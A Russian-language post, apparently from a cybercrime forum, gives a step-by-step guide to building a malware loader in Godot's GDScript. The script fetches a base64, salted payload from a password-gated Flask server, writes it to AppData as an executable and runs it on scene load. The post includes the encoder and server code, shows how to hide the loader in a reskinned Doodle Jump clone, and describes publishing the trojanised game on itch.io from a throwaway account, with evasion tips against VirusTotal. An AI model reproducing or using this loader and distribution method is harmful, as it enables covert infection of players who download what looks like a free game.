О проекте и статье
В этой статье я бы хотел продолжить тему малварей на Godot, о которой писал ранее в другой своей статье - https://xss.pro/threads/131150/Но на этот раз я буду делать лоадер, сродни тому, что засветился и наделал немного шуму в интернете. Подробнее о софте из новостей можно почитать тут:
https://xakep.ru/2024/11/29/godloader-godot/
Также в данной статье будет показано на живом примере то, как залить получившийся проект на сайт itch.io, где размещаются игровые инди-проекты абсолютно бесплатно.
Отличия от предыдущего софта
Первый мой софт и тот, что будет показан в данной статье, имеют ряд отличий. Например, в предыдущем большинство задач, таких как отправка запросов, получение инфы о ПК и т. д., выполнялись, используя PowerShell команды, из-за чего криптостиллер мог работать только на системах с Windows. В данном же софте всё реализовано через методы самого движка. Это несомненный плюс, так как в этом случае можно воспользоваться встроенной возможностью движка компилировать игры под Linux, MacOS, Android и даже iOS. Соответственно, охват аудитории будет значительно больше.Почему не Unity
Раз уж я захотел извратиться и показать подобный софт на основе игрового движка, то тогда можно было бы взять тот же Unity, ведь на нём тоже можно скомпилировать проект под разные операционные системы. Но фишкой Godot, и опять же огромным плюсом, является язык, на котором можно написать малварь. Всё дело в том, что в Godot используется их собственный язык GDScript. Благодаря этому антивирусам будет сложнее задетектить подобного рода софт, чего нельзя сказать о том же Unity, в котором используется C#.Подготовка Godot
Все свои мысли о данном проекте я вам выложил. Теперь же приступим к написанию самого софта, и, конечно же, первым делом нужно скачать Godot и создать проект.Скачать движок можно с официального сайта - https://godotengine.org/
В скачанном архиве будет .exe-файл. Это сразу же готовый движок без всяких там установок, что считаю очень даже удобным.
Создаём сцену-болванку и привязываем к ней скрипт. После этого сразу же сохраняем сцену через Ctrl+S.
В открывшемся окне мы и будем писать код, только удаляем всё стандартное, кроме первой строки.
Начинаем писать код
Как я и говорил в начале статьи, вся логика будет построена только на встроенных методах, в том числе и отправка запросов. Как раз функцию отправки запросов покажу первой.Отправка запросов
Запросы будут отправляться POST. Сделано это для того, чтобы отправить в теле запроса ключ с паролем, без которого будущий сервер не вернёт ответ с подгружаемым софтом. Это нужно для того, чтобы различные боты, шастающие по сайтам, случайно не залутали софт и не слили его на VT и подобные ему сервисы.
Python:
func send_post_request() -> void:
var http_request = HTTPRequest.new()
add_child(http_request)
http_request.request_completed.connect(_on_request_completed)
var headers = ["Content-Type: application/json"]
var data = {"password": PASSWORD} # Тело запроса
# Преобразуем данные в строку JSON с помощью JSON.stringify
var json_data = JSON.stringify(data)
# Используем метод POST для отправки запроса
var err = http_request.request(SERVER_URL, headers, HTTPClient.METHOD_POST, json_data)
if err != OK:
print("Не удалось отправить запрос: ", err)
Как видно, в данной функции используются переменные PASSWORD и SERVER_URL. Их можете указать вне функции в начале кода.
В данной функции происходит лишь отправка запроса. Обработка ответа на этот запрос будет происходить в другой функции. Передаваться ответ в нужную функцию будет с помощью этой строки:
http_request.request_completed.connect(_on_request_completed)
В ней ответ от сервера будет передаваться в функцию обработки ответа через сигнал request_completed.
Данный сигнал срабатывает именно тогда, когда запрос завершён, и передаёт в функцию заголовки, тело ответа, статус ответа и код ответа.
Обработка ответа
Теперь покажу саму функцию обработки ответа. Она максимально проста: в ней лишь проверяется, что ответ удачный, и, если он удачный, то полученные данные из ответа передаются в функцию для декодирования base64.P.S. Почему файл передаётся в Godot-скрипт в base64, расскажу позже, когда дойдём до обзора серверной части софта.
Python:
func _on_request_completed(result: int, response_code: int, headers: Array[String], body: PackedByteArray) -> void:
if response_code == 200:
var response_text = body.get_string_from_utf8()
var json = JSON.new() # Создаем экземпляр JSON
var parse_result = json.parse(response_text)
if parse_result == OK:
var data = json.get_data()["data"] # Получаем данные из результата
data = data.substr(0, data.length() - 100)
# Декодируем Base64 с помощью следующей функции
var decoded_data = decode_base64_custom(data)
# Сохраняем декодированные данные в файл
if save_to_file(output_file_path, decoded_data):
print("EXE файл успешно расшифрован и сохранён в: ", output_file_path)
else:
print("Ошибка при записи файла.")
else:
print("Ошибка при разборе JSON: ", json.error_string)
else:
print("Ошибка при получении ответа. Код ответа: ", response_code)
Как я и говорил, полученные данные отправятся в функцию для декодирования через эту строку:
var decoded_data = decode_base64_custom(data)Вслед за этим декодированные данные отправятся в функцию для сохранения в .exe файл через эту строку:
if save_to_file(output_file_path, decoded_data):Вместе с расшифрованными данными в функцию также передаётся и путь, куда сохранять. Переменную с путём можно указать вне функции где-нибудь в начале кода.
var appdata_path = OS.get_environment("APPDATA") # Получаем путь к папке AppDatavar output_file_path = appdata_path + "/decoded_program.exe" # Собираем полный путь к файлуТакже вот ещё одна строка, которая может ввести вас в заблуждение:
data = data.substr(0, data.length() - 100)В данной строке убираются 100 последних символов из полученных данных base64. Сделано это лишь потому, что на сервере в дальнейшем специально будет добавляться 100 рандомных символов в конце в качестве соли. Сделал я это опять-таки ради того, чтобы случайно кто-то не залутал чистые исходные данные вашего перекачиваемого малваря.
Декодирование base64
А теперь поговорим немного о функции декодирования из base64. Дело в том, что я либо не нашёл встроенный метод для этого, либо его и вправду нет, поэтому всю логику декодирования пришлось писать с нуля. Но сама функция по своей сути не сложна, и метод декодирования абсолютно стандартный.
Python:
func decode_base64_custom(data: String) -> PackedByteArray:
# Символы, которые используются в кодировке Base64
var base64_charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# Символ, который используется для заполнения строки в Base64 (padding)
var padding_char = "="
# Создаём массив для декодированных байтов
var output = PackedByteArray()
# Убираем пробелы вокруг строки и удаляем символы "=", которые идут в конце
var input = data.strip_edges().replace("=", "")
# Обрабатываем строку блоками по 4 символа
for i in range(0, input.length(), 4):
# Берём блок из 4 символов
var block = input.substr(i, 4)
# Ищем позиции символов в таблице Base64
var b1 = base64_charset.find(block[0]) # Первый символ блока
var b2 = base64_charset.find(block[1]) # Второй символ блока
var b3 = base64_charset.find(block[2]) if block.length() > 2 else 0 # Третий символ (если есть)
var b4 = base64_charset.find(block[3]) if block.length() > 3 else 0 # Четвёртый символ (если есть)
# Собираем первый байт из первых двух символов
output.append((b1 << 2) | (b2 >> 4))
# Если в блоке есть третий символ, собираем второй байт
if block.length() > 2:
output.append(((b2 & 0x0F) << 4) | (b3 >> 2))
# Если в блоке есть четвёртый символ, собираем третий байт
if block.length() > 3:
output.append(((b3 & 0x03) << 6) | b4)
# Возвращаем массив декодированных байтов
return output
Сохранение файла
Если у вас память не как у рыбки, то вы ещё не забыли, что расшифрованные данные будут передаваться в функцию для их сохранения в .exe файл. И как раз эту функцию сейчас и разберём.
Python:
func save_to_file(file_path: String, data: PackedByteArray) -> bool:
var file = FileAccess.open(file_path, FileAccess.WRITE)
if file:
file.store_buffer(data)
file.close()
print("Файл успешно сохранён: ", file_path)
OS.shell_open(file_path)
return true # Возвращаем true при успешном выполнении
else:
print("Ошибка при открытии файла для записи: ", file_path)
return false # Возвращаем false при ошибке
Тоже вполне простая функция, и слава богу, что в Godot не пришлось костылить свой метод для открытия сторонних файлов, и можно обойтись лишь одной строчкой, которую я сразу же тут и воткнул:
OS.shell_open(file_path)На этом функции заканчиваются, и нужно сделать так, чтобы этот скрипт в принципе запускался. Для этого нужно использовать встроенную в Godot функцию.
Способы активации скрипта
Я нашёл две подходящих под эту задачу функции: _ready() и _enter_tree().- _ready() срабатывает при загрузке сцены.
- _enter_tree() срабатывает при загрузке проекта.
Я выбрал _ready(), и внутри этой функции будет вызываться функция для отправки запроса, так как она является самой первой по логике работы софта. Указать её нужно после первой строки в коде.
Python:
func _ready() -> void:
send_post_request()
Работа над сервером
С клиентом закончено, и теперь остался сервер, но нужно для начала рассмотреть, что для этого потребуется и как будет работать сервер. Разберём по пунктам:- Подкачиваемый малварь будет находиться в виде base64.
- К base64 будет добавляться соль в виде 100 рандомных символов в конце.
- Сервер будет написан на Python Flask.
- Сервер будет принимать POST-запросы с ключом password.
Конвертер base64
Т.к. подкачиваемый малварь будет в base64 с солью, нужно для этого первым делом написать конвертер .exe файла в base64.Как же будет устроен конвертер? К счастью, это достаточно просто:
- Чтение байтов .exe файла.
- Конвертация байтов в base64.
- Генерация 100 рандомных символов.
- Добавление 100 рандомных символов к base64 в конце.
- Запись полученных данных в .txt файл.
Python:
import base64
import random
import string
file_path = "" # Укажите путь к малварю
output_file = "" # Укажите путь до тхт
def convert_file_to_base64():
try:
with open(file_path, 'rb') as file:
file_bytes = file.read()
base64_encoded = base64.b64encode(file_bytes).decode('utf-8')
random_suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=100))
base64_encoded += random_suffix
with open(output_file, 'w') as output:
output.write(base64_encoded)
print(f"Файл {file_path} конвертирован в Base64 и сохранен в {output_file}")
except Exception as e:
print(f"Ошибка: {e}")
convert_file_to_base64()
Сервер
Теперь к самому серверу, благо он такой же простой, как и конвертер. Ведь всего-то нужно указать переменные для пароля, для сверки с паролем из запроса, путь до .txt файла, из которого нужно брать данные, и сам маршрут, который будет принимать запросы.
Python:
from flask import Flask, request, jsonify
app = Flask(__name__)
# Пароль
SECRET_PASSWORD = "123"
# Путь к тхт
TEXT_FILE_PATH = "output_base64.txt"
@app.route('/install', methods=['POST'])
def install():
# Получаем данные из ключа password
password = request.json.get('password')
# Сверяем пароль из запроса с паролем из переменной
if password == SECRET_PASSWORD:
try:
# Считываем бейс64 малварь из тхт
with open(TEXT_FILE_PATH, 'r') as file:
file_data = file.read()
# Возвращаем данные из тхт в виде ответа
return jsonify({"status": "success", "data": file_data}), 200
except Exception as e:
return jsonify({"status": "error", "message": f"Ошибка при чтении файла: {str(e)}"}), 500
else:
return jsonify({"status": "error", "message": "Неверный пароль"}), 403
if __name__ == '__main__':
app.run(debug=True, port=5000)
В данном примере сервер работает локально, чтобы это исправить нужно заменить
app.run(debug=True, port=5000) на app.run(host="0.0.0.0", port=500, debug=True)Адаптация под разные OS
С сервером так же покончено и теперь хотел бы поговорить о том, как адаптировать лоадер под тот же линукс. Т.к. вся логика написана на внутренних методах движка, а в него встроена возможность билдить игру под линукс, то все что нужно изменить, это указанный виндовский маршрут куда подкачивать малварь на линуксовый маршрут, остальное за вас сделает сам движок при компиляции. Скорее всего, так же дела обстоят и с другими ОС, но утверждать не берусь, т.к. нет возможности лично проверить.Встраиваем скрипт в игру
Вообще, проект уже закончен и дальше я буду лишь показывать, как сделать без особых знаний свою супер пупер игру, в которую и загрузим свой скрипт с лоадером.Разумеется, знаний по разработке игр у меня нет, и в этом я на уровне хлебушка, поэтому за основу будет взята чужая игра с гита. При выборе основы у меня стояла задача найти что-то простое, при этом знакомое всем, почему-то в голову пришел сразу же дудлджамп, и буквально по первому запросу в гугл я его нашел у какого-то ахмеда с гита.
https://github.com/ahmed-alnour123/godot-doodle-jump?ysclid=m6ay8fo76j257016131
Уникализация игры
Разумеется, можно просто залить скрипт в эти исходники, и всё готово, но нам же нужно что-то уникальное, так что я просто заменю пару спрайтов.При выборе того, что же заменить, мне вспомнилась игра из Steam, где можно было всячески издеваться над Путиным, резать, взрывать, подкидывать и т.д., да и вообще про него много игр. Я посчитал несправедливым, что нет игр про Зеленского, поэтому главного героя решил заменить на него. Разумеется, всё это сатира и никакой агрессии, это нужно просто чтобы заинтересовать людей.
Итак, чтобы заменить спрайты на свои, нужно зайти в папку проекта игры по пути art\character.
В ней будут картинки самого персонажа, нужно просто заменить их на свои с такими же названиями, чтобы не лезть в код самой игры.
И вот, немного заменив спрайты, получилось это:
Как вставить скрипт и скомпилировать проект
Немного изменив игру, можно добавлять наш скрипт в неё. Прикреплять я буду к основной сцене, нажав на сверток рядом с названием.
После этого откроется окно со скриптом, и как мы видим, там уже есть функция ready, поэтому удалять её нельзя, просто добавив в неё вызов своего кода.
Далее воткнём в любое место этого скрипта оставшиеся функции из нашего лоадера.
Теперь скомпилируем сие чудо света.
После установки каких-то шаблонов переходим во вкладку проекта и выбираем экспорт.
Как видим, вариантов платформ достаточно много, так что сможете вполне разгуляться с этим софтом.
Заливаем игру на itch.io
Теперь перейдём к тому, как залить данную игру на itch.io.
Приятным моментом при регистрации являлось то, что можно зарегистрироваться на временную почту. Лично я использовал эту: https://inboxes.com/
После регистрации сразу же можем приступать к заливу игры.
Далее следует заполнение шаблона страницы игры. Там очень важно установить оплату в 0, иначе игру нельзя будет скачать без настроенной на аккаунте оплаты. Также на этой же странице сразу же загружаем билд игры.
После настройки страницы пролистайте в самый низ и выберите пункт, чтобы все могли посетить страницу и скачать игру, а затем сохраните.
После этого игра сразу же появится в общем доступе, и любой сможет её скачать. Да, так просто, никаких проверок и модерации, грузите что хотите.
Вот ссылка на залитую игру:
https://zelensky1488.itch.io/zelensky-jump
Итоги статьи
На этом статья подходит к своему заключению, и надеюсь, кому-то она понравится, и кто-то даже протестирует данный способ пролива с данным софтом и отпишет о результатах в комментариях.На счёт кода хочу сказать, что метод подгрузки файла в виде base64 — это достаточно топорный способ, и лучше бы накидывать хотя бы шифрование, но я не смог написать расшифровку aes на Godot. Но и без этого софт полностью работоспособен и пригоден к жизни.
Разработал - CognitoInc
Для форума - xss.pro
Для форума - xss.pro
Вложения
Последнее редактирование: